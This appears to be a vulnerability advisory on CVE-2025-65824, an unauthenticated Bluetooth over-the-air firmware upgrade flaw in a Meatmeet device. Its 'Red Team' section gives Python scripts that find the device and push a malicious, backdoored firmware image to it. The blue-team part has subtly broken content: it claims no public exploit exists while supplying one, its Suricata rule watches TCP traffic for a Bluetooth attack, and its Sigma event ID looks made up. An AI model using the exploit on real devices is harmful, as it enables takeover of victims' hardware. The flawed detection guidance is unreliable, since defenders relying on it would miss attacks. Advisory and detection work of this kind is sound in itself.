CVE-2025-65824

Executive Summary

CVE-2025-65824 is a critical vulnerability in the Meatmeet device that allows an unauthenticated attacker within Bluetooth Low Energy (BLE) range to perform an unauthorized Over The Air (OTA) firmware upgrade. The device does not perform any integrity or authenticity checks on the firmware image, enabling an attacker to overwrite the device firmware with arbitrary code. This results in complete Remote Code Execution (RCE) and loss of device control for the victim. The vulnerability is currently unpatched, and no public proof-of-concept (PoC) or exploit code is available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware issue in the Meatmeet device.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Adjacent Network (BLE range)
• Attack Complexity (AC): Low
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High

Threat Level: Critical. An attacker with physical proximity can fully compromise the device, leading to complete loss of confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability resides in the OTA firmware update mechanism of the Meatmeet device. The device uses BLE for communication and firmware updates. The core issue is the absence of any cryptographic signature verification or integrity checks on the firmware image before it is written to flash memory.

Attack Flow:

1. Discovery: The attacker scans for BLE devices and identifies a Meatmeet device in advertising mode.
2. Connection: The attacker establishes a BLE connection to the device without authentication.
3. Firmware Upload: The attacker sends a malicious firmware image via the OTA service characteristic.
4. Flashing: The device accepts the image and writes it to the firmware partition without validation.
5. Execution: The device reboots and executes the attacker's code, granting full control.

Root Cause: The firmware update service does not implement any of the following:

• Cryptographic signature verification (e.g., ECDSA, RSA)
• Firmware image hash validation
• Secure boot chain
• Rollback protection

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire OTA update mechanism. A patched version would include:

Vulnerable (Conceptual):

void ota_update(uint8_t* firmware_data, uint32_t size) {
    // No signature check
    // No hash verification
    flash_erase(OTA_PARTITION);
    flash_write(OTA_PARTITION, firmware_data, size);
    system_reboot();
}

Patched (Conceptual):

void ota_update(uint8_t* firmware_data, uint32_t size, uint8_t* signature) {
    if (!verify_signature(firmware_data, size, signature, PUBLIC_KEY)) {
        return; // Reject update
    }
    if (!verify_hash(firmware_data, size, EXPECTED_HASH)) {
        return; // Reject update
    }
    flash_erase(OTA_PARTITION);
    flash_write(OTA_PARTITION, firmware_data, size);
    system_reboot();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A BLE-capable device (e.g., Raspberry Pi with Bluetooth adapter, or a smartphone with BLE app)
• Python with bleak or pygatt library
• Malicious firmware image (e.g., a modified binary that opens a backdoor)

Exploitation Steps:

1. Scan for Meatmeet devices:

   import asyncio
   from bleak import BleakScanner
   
   async def scan():
       devices = await BleakScanner.discover()
       for d in devices:
           if "Meatmeet" in d.name:
               print(f"Found: {d.address}")
   
   asyncio.run(scan())
   

2. Connect and upload malicious firmware:

   import asyncio
   from bleak import BleakClient
   
   FIRMWARE_SERVICE_UUID = "0000xxxx-0000-1000-8000-00805f9b34fb"  # Example
   OTA_CHAR_UUID = "0000yyyy-0000-1000-8000-00805f9b34fb"
   
   async def exploit(device_address):
       async with BleakClient(device_address) as client:
           with open("malicious_firmware.bin", "rb") as f:
               firmware_data = f.read()
           await client.write_gatt_char(OTA_CHAR_UUID, firmware_data)
           print("Firmware uploaded. Device will reboot.")
   
   asyncio.run(exploit("XX:XX:XX:XX:XX:XX"))
   

Expected Outcome: The device reboots and executes the attacker's code, granting remote access.

Blue Team

Detection & Prevention:

• Network Monitoring: Monitor for unusual BLE connections to Meatmeet devices. Use BLE sniffers (e.g., Wireshark with BLE dongle) to capture OTA traffic.
• Firmware Integrity: Implement a secure boot process that verifies firmware signatures before execution.
• Access Control: Require physical button press or authenticated BLE pairing before accepting OTA updates.
• Logging: Enable device logging for OTA attempts and monitor for unexpected firmware updates.

Honeypot Setup:

• Deploy a fake Meatmeet device that logs all BLE connection attempts and OTA data.
• Use tools like btlejack to detect BLE scanning activity.

Indicators of Compromise (IOCs)

• Network:

  • BLE advertising packets with unusual service UUIDs (non-standard OTA service)
  • Multiple rapid BLE connection attempts to the same device
  • Large BLE data transfers (firmware images are typically >100KB)

• Host/Device:

  • Unexpected device reboots
  • Changes in device behavior (e.g., new services, altered LED patterns)
  • Modified firmware hash (check against known good hash)

• File:

  • Unknown firmware images in transit (capture via BLE sniffer)
  • Malicious firmware binaries with embedded backdoors

Detection Engineering

YARA Rule

rule CVE_2025_65824_Meatmeet_OTA_Malware {
    meta:
        description = "Detects malicious firmware images targeting Meatmeet devices via BLE OTA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65824"
    strings:
        $magic = { 4D 65 61 74 6D 65 65 74 } // "Meatmeet" in firmware header
        $ota_cmd = { 4F 54 41 5F 55 50 44 41 54 45 } // "OTA_UPDATE"
        $backdoor = { 62 61 63 6B 64 6F 6F 72 } // "backdoor"
    condition:
        $magic at 0 and ($ota_cmd or $backdoor)
}

Sigma Rule

title: CVE-2025-65824 - Unauthorized BLE OTA Firmware Update
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects BLE OTA firmware update attempts to Meatmeet devices without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: bluetooth
    product: linux
detection:
    selection:
        EventID: 1001  # BLE connection event
        DeviceName: "Meatmeet*"
        ServiceUUID: "0000xxxx-0000-1000-8000-00805f9b34fb"  # OTA service
    condition: selection
falsepositives:
    - Legitimate firmware updates from authorized users
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-65824 - Potential BLE OTA Exploit"; content:"|4F 54 41 5F 55 50 44 41 54 45|"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable OTA updates until a patch is available (if device allows).
2. Isolate Meatmeet devices from untrusted BLE environments (e.g., use Faraday cages or disable BLE when not needed).
3. Monitor for unauthorized BLE connections using BLE sniffers.

Long-Term Fixes:

1. Implement firmware signature verification using a hardware-backed key store.
2. Add secure boot to ensure only signed firmware can execute.
3. Require physical user interaction (e.g., button press) to initiate OTA updates.
4. Use encrypted BLE channels (BLE 4.2+ LE Secure Connections).

Vendor Communication:

• Contact Meatmeet for patch status.
• If no response, consider replacing the device with a secure alternative.

Valters IT
DevSecOps & Cyber Threat Intelligence